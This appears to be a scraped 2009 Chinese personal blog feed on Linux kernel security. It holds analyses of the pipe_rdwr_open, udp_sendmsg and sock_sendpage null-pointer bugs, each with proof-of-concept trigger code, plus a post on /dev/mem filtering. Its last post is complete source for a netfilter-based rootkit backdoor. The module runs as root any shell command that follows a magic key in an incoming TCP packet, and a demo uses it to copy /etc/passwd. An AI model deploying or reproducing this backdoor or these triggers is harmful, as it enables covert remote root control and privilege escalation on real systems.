<![CDATA[WZT的自由世界]]> http://hi.baidu.com http://hi.baidu.com http://img.baidu.com/img/logo-hi.gif http://hi.baidu.com/wzt85 zh-cn www.baidu.com 5 <![CDATA[关于最近那个linux kernel pipe_rdwr_open漏洞]]> http://www.nsfocus.net/vulndb/14025
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1                 # Trigger defect
done
这显然是从lkml上抄下来的。 这个漏洞在10.14号的内核邮件列表中就被人报了上来， 那个poc就是漏洞作者提供的， 但是人家还在下面说了：

The window for failure is small. It's easiest to reproduce
this problem by stalling pipe_rdwr_open() to open up the
window:

--- pipe.c.orig 2009-10-15 20:33:53.000000000 -0700
+++ pipe.c      2009-10-15 20:17:40.000000000 -0700
@@ -736,2 +736,3 @@
{
+       msleep(100);

mutex_lock(&inode->i_mutex);
With the failure window widened, it's easy to reproduce
the failure with:

------------------------------
--------------------------------
#!/bin/sh

while : ; do

{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
      { read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
 echo n > /proc/$OUT/fd/1
done

要在pipe_rdwr_open函数中插入一段休眠代码， 在用那个poc才能很容易的触发空指针漏洞。

另外关于公告给出了一个lkml上的链接：
http://lkml.org/lkml/2009/10/14/184
这使很多人认为漏洞的产生原因是作者说的那个假设的条件发生时， 但作者在随后的邮件中又说了这个代码是没问题。 真正产生漏洞的原因是在sys_open到pipe_rdwr_open执行这段时间内， 代码还没获得fifo文件的inode结构， 进而还没获得锁的这么一个非常非常小的时间内， 有其他进程关闭了这个fifo文件， 释放了pipe_inode_info结构， 导致pipe_rdwr_open继续执行的时候到了       
if (filp->f_mode & FMODE_READ)
inode->i_pipe->readers++;
引发了oops。

另外exp作者给出的poc在某些内核版本中确实可以被触发oops， 但是个人觉得管道这块还是会存在很多问题的， 继续关注邮件列表 。
阅读全文
类别：Kernel 查看评论]]> 2009-11-10 09:29 http://hi.baidu.com/wzt85/blog/item/0ad72e13ea6c6b8a6538db80.html <![CDATA[星际水平大涨]]> 类别：Life 查看评论]]> 2009-10-28 20:04 http://hi.baidu.com/wzt85/blog/item/b4f53a4488de6746510ffe9c.html <![CDATA[程序员如何泡妞]]> 类别：Life 查看评论]]> 2009-09-11 20:59 http://hi.baidu.com/wzt85/blog/item/6da43835fe64e51b91ef39ee.html <![CDATA[udp_sendmsg空指针漏洞分析]]>
漏洞描述：

由于Linux ipv4协议栈中udp_sendmsg()函数设计上存在缺陷， 导致struct rtable *rt以空指针形式传递给ip_append_data(), 从而引发kernel oops,
攻击者可以利用此漏洞提升进程权限。漏洞影响2.6.19以下的版本。

漏洞成因:

>> linux+v2.6.18/net/ipv4/udp.c

int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,
size_t len)
{
...
// rt被初始化成NULL
struct rtable *rt = NULL;
...
// Linux udp协议允许多个udp数据包合并成一个发送出去，提高发送效率。
// 判断是否有更多的数据需要发送, 攻击者可以构造多个sendto/sendmsg调用， 并且配合MSG_PROXY|MSG_MORE标志， 进而绕过对rt的设置。
if (up->pending) {
/*
* There are pending frames.
* The socket lock must be held while it's corked.
*/
lock_sock(sk);
if (likely(up->pending)) {
if (unlikely(up->pending != AF_INET)) {
release_sock(sk);
return -EINVAL;
}
// 将数据发送出去
goto do_append_data;
}
release_sock(sk);
}

...
// rt直接以NULL传递给ip_append_data, ip_append_data没有判断空指针情况， 从而引发漏洞
do_append_data:
up->len += ulen;
err = ip_append_data(sk, ip_generic_getfrag, msg->msg_iov, ulen,
sizeof(struct udphdr), &ipc, rt,
corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
...
}

如何触发漏洞：


if((fd=socket(PF_INET,SOCK_DGRAM,0))==-1){
perror("[-] socket()");
return -1;
}
x0x.sa_family=AF_UNSPEC;
memset(x0x.sa_data,0x82,14);
memset((char *)buf,0,sizeof(buf));
sendto(fd,buf,1024,MSG_PROXY | MSG_MORE,&x0x,sizeof(x0x));
sendto(fd,buf,1024,0,&x0x,sizeof(x0x));

socket的中断服务程序是sys_socketcall， 在linux-2.6.18/net/socket.c中:

>> sys_socketcall将会调用sys_socket
asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
...
switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
...

}

>> sys_socket调用sock_create进行初始化， 然后调用sock_map_fd与sockfs文件系统进行挂接。
asmlinkage long sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;

retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
goto out;

retval = sock_map_fd(sock);
if (retval < 0)
goto out_release;

out:
/* It may be already another descriptor 8) Not kernel problem. */
return retval;

out_release:
sock_release(sock);
return retval;
}


>> sock_create
int sock_create(int family, int type, int protocol, struct socket **res)
{
return __sock_create(family, type, protocol, res, 0);
}

>> __sock_create
static int __sock_create(int family, int type, int protocol, struct socket **res, int kern)
{
// 分配sock结构并进行填充
if (!(sock = sock_alloc())) {
if (net_ratelimit())
printk(KERN_WARNING "socket: no more sockets\n");
err = -ENFILE;          /* Not exactly a match, but its the closest posix thing */
goto out;
}

...
// 这里进行具体协议的初始化操作， 执行ipv4驱动的create函数， 这个指针是在ipx驱动加载到内核时初始化的
if ((err = net_families[family]->create(sock, protocol)) < 0) {
sock->ops = NULL;
goto out_module_put;
}
...
}

继续跟踪ipv4驱动的初始化过程， /linux-2.6.18/net/ipv4/af_inet.c：
static int __init inet_init(void)
{
// 注册ipv4的struct net_proto_family操作函数
(void)sock_register(&inet_family_ops);
}

>> sock_register
int sock_register(struct net_proto_family *ops)
{
...
net_family_write_lock();
err = -EEXIST;
if (net_families[ops->family] == NULL) {
//将ops指针赋值给net_families[ops->family]
net_families[ops->family]=ops;
err = 0;
}
}

// 从这里可以看出__sock_create中的net_families[family]->create函数是在这里进行初始化的。
static struct net_proto_family inet_family_ops = {
.family = PF_INET,
.create = inet_create,
.owner  = THIS_MODULE,
};


继续跟踪inet_create函数：

static int inet_create(struct socket *sock, int protocol)
{
struct sock *sk;
struct list_head *p;
struct inet_protosw *answer;
struct inet_sock *inet;
struct proto *answer_prot;

...
// 设置sock->ops;
sock->ops = answer->ops;
...
// 设置sk->sk_prot
sk = sk_alloc(PF_INET, GFP_KERNEL, answer_prot, 1);

...
}

onst struct proto_ops inet_dgram_ops = {
.family            = PF_INET,
.owner             = THIS_MODULE,
.release           = inet_release,
.bind              = inet_bind,
.connect           = inet_dgram_connect,
.socketpair        = sock_no_socketpair,
.accept            = sock_no_accept,
.getname           = inet_getname,
.poll              = udp_poll,
.ioctl             = inet_ioctl,
.listen            = sock_no_listen,
.shutdown          = inet_shutdown,
.setsockopt        = sock_common_setsockopt,
.getsockopt        = sock_common_getsockopt,
.sendmsg           = inet_sendmsg,
.recvmsg           = sock_common_recvmsg,
.mmap              = sock_no_mmap,
.sendpage          = inet_sendpage,
#ifdef CONFIG_COMPAT
.compat_setsockopt = compat_sock_common_setsockopt,
.compat_getsockopt = compat_sock_common_getsockopt,
#endif
};

static struct inet_protosw inetsw_array[] =
{
{
.type =       SOCK_STREAM,
.protocol =   IPPROTO_TCP,
.prot =       &tcp_prot,
.ops =        &inet_stream_ops,
.capability = -1,
.no_check =   0,
.flags =      INET_PROTOSW_PERMANENT |
INET_PROTOSW_ICSK,
},

{
.type =       SOCK_DGRAM,
.protocol =   IPPROTO_UDP,
.prot =       &udp_prot,
.ops =        &inet_dgram_ops,
.capability = -1,
.no_check =   UDP_CSUM_DEFAULT,
.flags =      INET_PROTOSW_PERMANENT,
},


{
.type =       SOCK_RAW,
.protocol =   IPPROTO_IP,        /* wild card */
.prot =       &raw_prot,
.ops =        &inet_sockraw_ops,
.capability = CAP_NET_RAW,
.no_check =   UDP_CSUM_DEFAULT,
.flags =      INET_PROTOSW_REUSE,
}
};

通过inet_register_protosw函数将以上数据结构关联起来，sys_sendto函数将会用到。

asmlinkage long sys_sendto(int fd, void __user * buff, size_t len, unsigned flags,
struct sockaddr __user *addr, int addr_len)
{
...
err = sock_sendmsg(sock, &msg, len);
...
}

int sock_sendmsg(struct socket *sock, struct msghdr *msg, size_t size)
{
...
ret = __sock_sendmsg(&iocb, sock, msg, size);
...
}

static inline int __sock_sendmsg(struct kiocb *iocb, struct socket *sock,
struct msghdr *msg, size_t size)
{
...
// 通过前面的分析可以知道sock->ops->sendmsg函数调用的就是udp_sendmsg(), 此函数存在设计缺陷， 从而引发漏洞。
return sock->ops->sendmsg(iocb, sock, msg, size);
...
}

如何修补：

一、Linux kernel社区已经发出补丁：

http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;f=net/ipv4/udp.c;h=865d75214a9ab1d741f3d8351359e95a0d8394e7;hp=6d6142f9c478baa8c85dcf1d174a5a88f66d783a;hb=1e0c14f49d6b393179f423abbac47f85618d3d46;hpb=132a55f3c5c0b1a364d32f65595ad8838c30a60e

diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
index 6d6142f..865d752 100644 (file)

--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -675,6 +675,8 @@ do_append_data:
udp_flush_pending_frames(sk);
else if (!corkreq)
err = udp_push_pending_frames(sk, up);
+       else if (unlikely(skb_queue_empty(&sk->sk_write_queue)))
+               up->pending = 0;
release_sock(sk);

out:

二、redhat补丁 RHSA-2009:1223 – Security Advisory  https://rhn.redhat.com/rhn/errata/details/Packages.do?eid=8969

三、 邮件列表给出的另一个补丁， 只能用在最新的内核上， 所以并不是这个漏洞的补丁。


diff -r b3cbf0ceeb34 net/ipv4/ip_output.c
--- a/net/ipv4/ip_output.c      Mon Aug 24 14:48:29 2009 +0200
+++ b/net/ipv4/ip_output.c      Thu Aug 27 15:20:36 2009 +0200
@@ -814,6 +814,8 @@
inet->cork.addr = ipc->addr;
}
rt = *rtp;
+               if (unlikely(!rt))
+                       return -EFAULT;
/*
* We steal reference to this route, caller should not release it
*/ 阅读全文
类别：Kernel 查看评论]]> 2009-09-07 09:19 http://hi.baidu.com/wzt85/blog/item/01c7f79052cd8584a877a4c4.html <![CDATA[Linux sock_sendpage空指针漏洞分析]]>
>> linux-2.6.18/net/socket.c

static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;

sock = file->private_data;

flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;

return sock->ops->sendpage(sock, page, offset, size, flags);
}
sock_sendpage函数没有判断sock->ops->sendpage函数指针是否为空，就进行了引用。空指针的存在是由于某些协议的驱动程序
没有正确的初始化函数指针造成的。 exp作者给出的协议驱动程序包括pppox, bluetooth, appletalk, ipx, sctp等。下面以ipx协议
为例， 说明这个漏洞是如何形成的以及如何来触发.

exp代码：
const int domains[][3] = { { PF_APPLETALK, SOCK_DGRAM, 0 },
{PF_IPX, SOCK_DGRAM, 0 }, { PF_IRDA, SOCK_DGRAM, 0 },
{PF_X25, SOCK_DGRAM, 0 }, { PF_AX25, SOCK_DGRAM, 0 },
{PF_BLUETOOTH, SOCK_DGRAM, 0 }, { PF_IUCV, SOCK_STREAM, 0 },
{PF_INET6, SOCK_SEQPACKET, IPPROTO_SCTP },
{PF_PPPOX, SOCK_DGRAM, 0 },
{PF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP },
{DOMAINS_STOP, 0, 0 }
};

for (; domains[d][0] != DOMAINS_STOP; d++) {
if ((out = socket(domains[d][0], domains[d][1], domains[d][2])) >= 0)
break;
}

替换成ipx协议就是：
out = socket(PF_IPX,  SOCK_DGRAM, 0);
建立以个PF_IPX协议的套接字接口。 看下这个在内核中是如何实现的：

socket的中断服务程序是sys_socketcall， 在linux-2.6.18/net/socket.c中:

>> sys_socketcall将会调用sys_socket
asmlinkage long sys_socketcall(int call, unsigned long __user *args)
{
...
switch(call)
{
case SYS_SOCKET:
err = sys_socket(a0,a1,a[2]);
break;
...

}

>> sys_socket调用sock_create进行初始化， 然后调用sock_map_fd与sockfs文件系统进行挂接。
asmlinkage long sys_socket(int family, int type, int protocol)
{
int retval;
struct socket *sock;

retval = sock_create(family, type, protocol, &sock);
if (retval < 0)
goto out;

retval = sock_map_fd(sock);
if (retval < 0)
goto out_release;

out:
/* It may be already another descriptor 8) Not kernel problem. */
return retval;

out_release:
sock_release(sock);
return retval;
}


>> sock_create
int sock_create(int family, int type, int protocol, struct socket **res)
{
return __sock_create(family, type, protocol, res, 0);
}

>> __sock_create
static int __sock_create(int family, int type, int protocol, struct socket **res, int kern)
{
// 分配sock结构并进行填充
if (!(sock = sock_alloc())) {
if (net_ratelimit())
printk(KERN_WARNING "socket: no more sockets\n");
err = -ENFILE;          /* Not exactly a match, but its the
closest posix thing */
goto out;
}

...
// 这里进行具体协议的初始化操作， 执行ipx驱动的create函数， 这个指针是在ipx驱动加载到
内核时初始化的
if ((err = net_families[family]->create(sock, protocol)) < 0) {
sock->ops = NULL;
goto out_module_put;
}
...
}

继续跟踪ipx驱动的初始化过程， /linux-2.6.18/net/ipx/af_ipx.c：
static int __init ipx_init(void)
{
// 注册ipx协议
int rc = proto_register(&ipx_proto, 1);

if (rc != 0)
goto out;

// 注册协议的操作函数， bug由此开始生成
sock_register(&ipx_family_ops);
...
}

>> sock_register
int sock_register(struct net_proto_family *ops)
{
...
net_family_write_lock();
err = -EEXIST;
if (net_families[ops->family] == NULL) {
将ops指针赋值给net_families[ops->family]
net_families[ops->family]=ops;
err = 0;
}
}

// 从这里可以看出__sock_create中的net_families[family]->create函数是在这里进行初始化的。
static struct net_proto_family ipx_family_ops = {
.family         = PF_IPX,
.create         = ipx_create,
.owner          = THIS_MODULE,
};

继续跟踪ipx_create函数：

static int ipx_create(struct socket *sock, int protocol)
{
...
这个对sock的ops结构进行赋值
sock->ops = &ipx_dgram_ops;
...
}

static const struct proto_ops SOCKOPS_WRAPPED(ipx_dgram_ops) = {
.family         = PF_IPX,
.owner          = THIS_MODULE,
.release        = ipx_release,
.bind           = ipx_bind,
.connect        = ipx_connect,
.socketpair     = sock_no_socketpair,
.accept         = sock_no_accept,
.getname        = ipx_getname,
.poll           = datagram_poll,
.ioctl          = ipx_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl   = ipx_compat_ioctl,
#endif
.listen         = sock_no_listen,
.shutdown       = sock_no_shutdown, /* FIXME: support shutdown */
.setsockopt     = ipx_setsockopt,
.getsockopt     = ipx_getsockopt,
.sendmsg        = ipx_sendmsg,
.recvmsg        = ipx_recvmsg,
.mmap           = sock_no_mmap,
.sendpage       = sock_no_sendpage,
};
我们在这里看到.sendpage结构本以为是被sock_no_sendpage给赋值了， 但是SOCKOPS_WRAPPED这个宏出现了个严重的bug，
实际上是没有对.sendpage进行初始化的， 直接导致了sendpage没被赋值， 这个漏洞由此生成。

#define SOCKOPS_WRAP(name, fam)                                 \
SOCKCALL_WRAP(name, release, (struct socket *sock), (sock))     \
SOCKCALL_WRAP(name, bind, (struct socket *sock, struct sockaddr *uaddr, int addr_len), \
(sock, uaddr, addr_len))                          \
SOCKCALL_WRAP(name, connect, (struct socket *sock, struct sockaddr * uaddr, \
int addr_len, int flags),         \
(sock, uaddr, addr_len, flags))                   \
SOCKCALL_WRAP(name, socketpair, (struct socket *sock1, struct socket *sock2), \
(sock1, sock2))                                   \
SOCKCALL_WRAP(name, accept, (struct socket *sock, struct socket *newsock, \
int flags), (sock, newsock, flags)) \
SOCKCALL_WRAP(name, getname, (struct socket *sock, struct sockaddr *uaddr, \
int *addr_len, int peer), (sock, uaddr, addr_len, peer)) \
SOCKCALL_UWRAP(name, poll, (struct file *file, struct socket *sock, struct poll_table_struct *wait), \
(file, sock, wait)) \
SOCKCALL_WRAP(name, ioctl, (struct socket *sock, unsigned int cmd, \
unsigned long arg), (sock, cmd, arg)) \
SOCKCALL_WRAP(name, compat_ioctl, (struct socket *sock, unsigned int cmd, \
unsigned long arg), (sock, cmd, arg)) \
SOCKCALL_WRAP(name, listen, (struct socket *sock, int len), (sock, len)) \
SOCKCALL_WRAP(name, shutdown, (struct socket *sock, int flags), (sock, flags)) \
SOCKCALL_WRAP(name, setsockopt, (struct socket *sock, int level, int optname, \
char __user *optval, int optlen), (sock, level, optname, optval, optlen)) \
SOCKCALL_WRAP(name, getsockopt, (struct socket *sock, int level, int optname, \
char __user *optval, int __user *optlen), (sock, level, optname, optval, optlen)) \
SOCKCALL_WRAP(name, sendmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, size_t len), \
(iocb, sock, m, len)) \
SOCKCALL_WRAP(name, recvmsg, (struct kiocb *iocb, struct socket *sock, struct msghdr *m, size_t len, int flags), \
(iocb, sock, m, len, flags)) \
SOCKCALL_WRAP(name, mmap, (struct file *file, struct socket *sock, struct vm_area_struct *vma), \
(file, sock, vma)) \
\
static const struct proto_ops name##_ops = {                    \
.family         = fam,                          \
.owner          = THIS_MODULE,                  \
.release        = __lock_##name##_release,      \
.bind           = __lock_##name##_bind,         \
.connect        = __lock_##name##_connect,      \
.socketpair     = __lock_##name##_socketpair,   \
.accept         = __lock_##name##_accept,       \
.getname        = __lock_##name##_getname,      \
.poll           = __lock_##name##_poll,         \
.ioctl          = __lock_##name##_ioctl,        \
.compat_ioctl   = __lock_##name##_compat_ioctl, \
.listen         = __lock_##name##_listen,       \
.shutdown       = __lock_##name##_shutdown,     \
.setsockopt     = __lock_##name##_setsockopt,   \
.getsockopt     = __lock_##name##_getsockopt,   \
.sendmsg        = __lock_##name##_sendmsg,      \
.recvmsg        = __lock_##name##_recvmsg,      \
.mmap           = __lock_##name##_mmap,         \
};

下面继续跟踪这个bug是怎么被触发的：

回到sys_socket中, 看看前面分配的socket结构是否挂接到sockfs文件系统上的：

int sock_map_fd(struct socket *sock)
{
struct file *newfile;
// 分配一个没用的fd和file结构
int fd = sock_alloc_fd(&newfile);

if (likely(fd >= 0)) {
// sock与newfile挂接
int err = sock_attach_fd(sock, newfile);

if (unlikely(err < 0)) {
put_filp(newfile);
put_unused_fd(fd);
return err;
}
fd_install(fd, newfile);
}
return fd;
}

>> sock_attach_fd
static int sock_attach_fd(struct socket *sock, struct file *file)
{
struct qstr this;
char name[32];

this.len = sprintf(name, "[%lu]", SOCK_INODE(sock)->i_ino);
this.name = name;
this.hash = SOCK_INODE(sock)->i_ino;

file->f_dentry = d_alloc(sock_mnt->mnt_sb->s_root, &this);
if (unlikely(!file->f_dentry))
return -ENOMEM;

file->f_dentry->d_op = &sockfs_dentry_operations;
d_add(file->f_dentry, SOCK_INODE(sock));
file->f_vfsmnt = mntget(sock_mnt);
file->f_mapping = file->f_dentry->d_inode->i_mapping;

sock->file = file;
// 将file的函数操作指针被socket_file_ops赋值。
file->f_op = SOCK_INODE(sock)->i_fop = &socket_file_ops;
file->f_mode = FMODE_READ | FMODE_WRITE;
file->f_flags = O_RDWR;
file->f_pos = 0;
// private_data域存放的就是socket结构， 一会会在sys_sendfile中看到。
file->private_data = sock;

return 0;
}

static struct file_operations socket_file_ops = {
.owner =        THIS_MODULE,
.llseek =       no_llseek,
.aio_read =     sock_aio_read,
.aio_write =    sock_aio_write,
.poll =         sock_poll,
.unlocked_ioctl = sock_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = compat_sock_ioctl,
#endif
.mmap =         sock_mmap,
.open =         sock_no_open,   /* special open code to disallow open via /proc */
.release =      sock_close,
.fasync =       sock_fasync,
.readv =        sock_readv,
.writev =       sock_writev,
.sendpage =     sock_sendpage,  // 将sock_sendpage函数赋值给了.sendpage, sock_sendpage实际上是没有检查空指针，
导致sys_senfile被执行的时候引发了漏洞
.splice_write = generic_splice_sendpage,
};

看exp中，是如何触发漏洞的：
sendfile(fdout, fdin, NULL, PAGE_SIZE);

sendfile->sys_sendfile, linux-2.6.18/fs/read_write.c:

asmlinkage ssize_t sys_sendfile(int out_fd, int in_fd, off_t __user *offset, size_t count)
{
...
return do_sendfile(out_fd, in_fd, NULL, count, 0);
}

static ssize_t do_sendfile(int out_fd, int in_fd, loff_t *ppos,
size_t count, loff_t max)
{
...
retval = in_file->f_op->sendfile(in_file, ppos, count, file_send_actor, out_file);
...
}
漏洞由此触发。
阅读全文
类别：Kernel 查看评论]]> 2009-08-19 12:00 http://hi.baidu.com/wzt85/blog/item/a11e013e3384f2f3838b13e6.html <![CDATA[阿里巴巴集团漏洞报告提交]]> 广告一下：

如果您在使用阿里巴巴集团产品（阿里巴巴，淘宝，支付宝，雅虎口碑，阿里妈妈，阿里软件）过程中，发现了安全漏洞，请发送包含漏洞报告的邮件至

security@service.alibaba.com

我们会在收到报告后的下一工作日内我们会给您做出响应。我们确认漏洞如果是您首先发现的，我们将给予小礼品以示感谢。
对于所有为阿里巴巴产品用户的安全做出贡献的个人和组织，我们表示诚挚的感谢！ 阅读全文
类别：Life 查看评论]]> 2009-08-19 10:02 http://hi.baidu.com/wzt85/blog/item/b217dfd9089a962510df9b7f.html <![CDATA[最近在打星际]]> 类别：Life 查看评论]]> 2009-08-10 09:41 http://hi.baidu.com/wzt85/blog/item/ddfeb1d7c82731d4a144dfb1.html <![CDATA[新内核中较重要的一个选项]]>
kernel hacking -> Filter access to /dev/mem

不过rhel系列的内核已经开启了这个选项，所以还是很安全的。 大于1m的物理内存是不能被映射的， 因此想读内核空间是不可能的。

重新升级内核到2.6.30， 没开启filter选项， 又可以读写内核空间了。。。

看下代码/drivers/char/mem.c:

/*
* This funcion reads the *physical* memory. The f_pos points directly to the
* memory location.
*/
static ssize_t read_mem(struct file * file, char __user * buf,
                        size_t count, loff_t *ppos)
{
...
        while (count > 0) {
                /*
                 * Handle first page in case it's not aligned
                 */
                if (-p & (PAGE_SIZE - 1))
                        sz = -p & (PAGE_SIZE - 1);
                else
                        sz = PAGE_SIZE;

                sz = min_t(unsigned long, sz, count);

                if (!range_is_allowed(p >> PAGE_SHIFT, count))
                        return -EPERM;
....

}

>> range_is_allowed

#ifdef CONFIG_STRICT_DEVMEM
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
        u64 from = ((u64)pfn) << PAGE_SHIFT;
        u64 to = from + size;
        u64 cursor = from;

        while (cursor < to) {
                if (!devmem_is_allowed(pfn)) {
                        printk(KERN_INFO
                "Program %s tried to access /dev/mem between %Lx->%Lx.\n",
                                current->comm, from, to);
                        return 0;
                }
                cursor += PAGE_SIZE;
                pfn++;
        }
        return 1;
}
#else
static inline int range_is_allowed(unsigned long pfn, unsigned long size)
{
        return 1;
}
#endif

>> devmem_is_allowed
/*
 * devmem_is_allowed() checks to see if /dev/mem access to a certain address is
 * valid. The argument is a physical page number.
 *
 *
 * On x86-64, access has to be given to the first megabyte of ram because that area
 * contains bios code and data regions used by X and dosemu and similar apps.
 * Access has to be given to non-kernel-ram areas as well, these contain the PCI
 * mmio resources as well as potential bios/acpi data regions.
 */
int devmem_is_allowed(unsigned long pagenr)
{
        if (pagenr <= 256)
                return 1;
        if (!page_is_ram(pagenr))
                return 1;
        return 0;
}
阅读全文
类别：Rootkit 查看评论]]> 2009-07-07 16:35 http://hi.baidu.com/wzt85/blog/item/112a37131d0f20d9f7039e9d.html <![CDATA[开始当追星族了]]> 类别：Life 查看评论]]> 2009-06-20 21:34 http://hi.baidu.com/wzt85/blog/item/efeaacdf03039e1a622798a4.html <![CDATA[利用netfilter来突破防火墙， 实现远程执行命令]]> demo在ubuntu8.10 + 2.6.28上测试成功。

wzt@wzt-laptop:~$ nc -vv localhost 22
localhost [127.0.0.1] 22 (ssh) open
SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1
@wnps-shell:cat /etc/passwd > /home/wzt/pass.log
Protocol mismatch.
sent 49, rcvd 58

demsg:
[ 957.255416] kexec test start ...
[ 1029.692964] hook: function:hook_func-L125: got the tcp key .
[ 1029.692981] hook: function:hook_func-L127: cat /etc/passwd > /home/wzt/pass.log
[ 1029.692985]

wzt@wzt-laptop:~$ ls -lht pass.log
-rw-r--r-- 1 root root 1.7K 2009-06-04 08:08 pass.log

+---------------------------------------------------------------------+

#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/string.h>
#include <linux/kmod.h>
#include <linux/vmalloc.h>
#include <linux/workqueue.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/icmp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
        printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...) do {} while(0);
#endif

#define TCP_SHELL_KEY   "@wnps-shell"

#define PORT_NUM    6
#define IP_NUM        20
#define BUFF_NUM    512

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

struct exec_work {
    struct work_struct work;
    char *cmd;
};

static struct nf_hook_ops nfho;

int kexec_user_app(void *data)
{
    struct exec_work *work = data;
    int ret;
    char *argv[] = {"/bin/sh", "-c", work->cmd, NULL};
        char *envp[] = { "HOME=/",
                         "TERM=linux",
                         "PATH=/sbin:/usr/sbin:/bin:/usr/bin",
                         NULL };
    ret = call_usermodehelper(argv[0], argv, envp, 1);

    return ret;
}

int execute_user_command(char *cmd)
{
    struct exec_work *exec_work;

    exec_work = kmalloc(sizeof(struct exec_work), GFP_ATOMIC);
    exec_work->cmd = kmalloc(1024*sizeof(char), GFP_ATOMIC);

    INIT_WORK(&exec_work->work, kexec_user_app);
    strncpy(exec_work->cmd, cmd, strlen(cmd) + 1);

    schedule_work(&exec_work->work);

    return 0;
}

unsigned int hook_func(unsigned int hooknum,
                       struct sk_buff **skb,
                       const struct net_device *in,
                       const struct net_device *out,
                       int (*okfn)(struct sk_buff *))
{
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        struct sk_buff *sk = skb_copy(skb, 1);
#else
    struct sk_buff *sk = *skb;
#endif
        struct iphdr *ip;
    struct tcphdr *tcphdr;
    char buf[BUFF_NUM], *data = NULL;
    char *p;

        if (!sk)
                return NF_ACCEPT;
        
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
    ip = ip_hdr(sk);
#else
    ip = sk->nh.iph;
#endif

        switch (ip->protocol) {
                case 1:
                        return NF_ACCEPT;
                       
                case 6:
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
                        tcphdr = ip_hdr(sk);

                        tcphdr =
                                (struct tcphdr *)((void *)sk->data +
                                        ((struct iphdr *)sk->data)->ihl * 4);

            data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#else
                        tcphdr = (struct tcphdr *)((__u32 *)ip + ip->ihl);

            data = (char *)((int *)tcphdr + (int)(tcphdr->doff));
#endif

                        /*
                         * filter the connected tcp packet
                         */
            if ((p = strstr(data, TCP_SHELL_KEY)) != NULL) {
                DbgPrint("got the tcp key .\n");
                p += strlen(TCP_SHELL_KEY) + 1;
                DbgPrint("%s\n", p);
                execute_user_command(p);
                                goto out;
            }

            out:
            memset(buf, '\0', BUFF_NUM);

                        return NF_ACCEPT;
               
                default:
                        return NF_ACCEPT;
        }
}

static int kexec_test_init(void)
{
    printk("kexec test start ...\n");

    nfho.hook = hook_func;
    nfho.owner = NULL;
    nfho.pf = PF_INET;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,22)
        nfho.hooknum = NF_INET_PRE_ROUTING;
#else
        nfho.hooknum = NF_IP_PRE_ROUTING;
#endif

    nfho.priority = NF_IP_PRI_FIRST;
   
    nf_register_hook(&nfho);

    return 0;
}

static void kexec_test_exit(void)
{
    printk("kexec test exit ...\n");
    nf_unregister_hook(&nfho);
}

module_init(kexec_test_init);
module_exit(kexec_test_exit); 阅读全文
类别：Rootkit 查看评论]]> 2009-06-04 08:10 http://hi.baidu.com/wzt85/blog/item/b632a6d52e0935cc50da4b53.html